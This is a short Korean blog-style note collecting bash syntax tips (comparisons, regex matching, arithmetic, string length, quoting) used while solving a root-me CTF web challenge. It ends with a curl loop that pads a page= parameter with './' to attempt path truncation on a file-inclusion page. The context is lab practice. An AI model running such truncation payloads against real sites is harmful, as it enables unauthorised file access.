CTF 문제를 푸는데, 파이썬보다 쉘 스크립트로 작성하는 것이 더 효율적이라고 판단되어 관련 내용을 찾아보게 되었다.
필요에 의해 사용한 문법만 정리하겠다.
https://stackoverflow.com/questions/18668556/comparing-numbers-in-bash
-eq # equal
-ne # not equal
-lt # less than
-le # less than or equal
-gt # greater than
-ge # greater than or equal
https://stackoverflow.com/questions/229551/how-to-check-if-a-string-contains-a-substring-in-bash
string='My string'; if [[ $string =~ "My" ]] then echo "It's there!" fi
expr $x / $y
https://unix.stackexchange.com/questions/149823/parenthesis-in-expr-arithmetic-3-2-1
a=$(( 3 * (2 + 1) )) a=$((3*(2+1)))
문자열에 공백이나 기타 쉘이 오해(?)할 수 있는 문자가 포함됬을 경우 큰 따옴표로 묶어줘야 정상적으로 문자열로 인식
strangers="hahaha sadfiem <html> asdekd...omit...shahaha!!!" echo $strangers #unintended behavior
echo "$strangers" #correct!!
https://stackoverflow.com/questions/17368067/length-of-string-in-bash
#!/bin/bash str="Good morning" length=${#str} echo "Length of '$str' is $length"
변수에 저장할 때 $( expr )
를 사용하지 않고 바로 변수에 저장해야 함
그렇지 않을 경우, 그 값이 쉘 명령어로 실행됨
url="http://challenge01.root-me.org/web-serveur/ch35/index.php?page="
len_url=${#url}
echo "len:"$len_url
curl로 request할 url을 생성한다.
response에 원하는 문자열이 없을 경우
'./'
문자열을 1개씩 추가하여 다시 request 전송
#!/bin/bash
i=0
url="http://challenge01.root-me.org/web-serveur/ch35/index.php?page="
len_url=${#url}
end=$((( ( 4096 - len_url ) / 2 ) + 1))
while [ $i -lt $end ]
do
padding=$( printf "./%.0s" {$(seq $i)} )
payload="$url""$padding""home"
echo $payload
res=$( curl $payload )
if [[ ! "$res" =~ "Work" ]]; then #Work가 존재하지 않으면
echo "Found index!\n"
echo "Found index!\n"
echo "Found index!\n"
echo "index:"$i > results.txt
read
fi
i=$(($i+1))
done
padding=$( printf "./%.0s" {$(seq $i)} )
'./'
문자열을 printf
함수를 이용해 $i
만큼 concate
if [[ ! "$res" =~ "Work" ]]; then
=~
우측의 문자열을 검색
!
reverse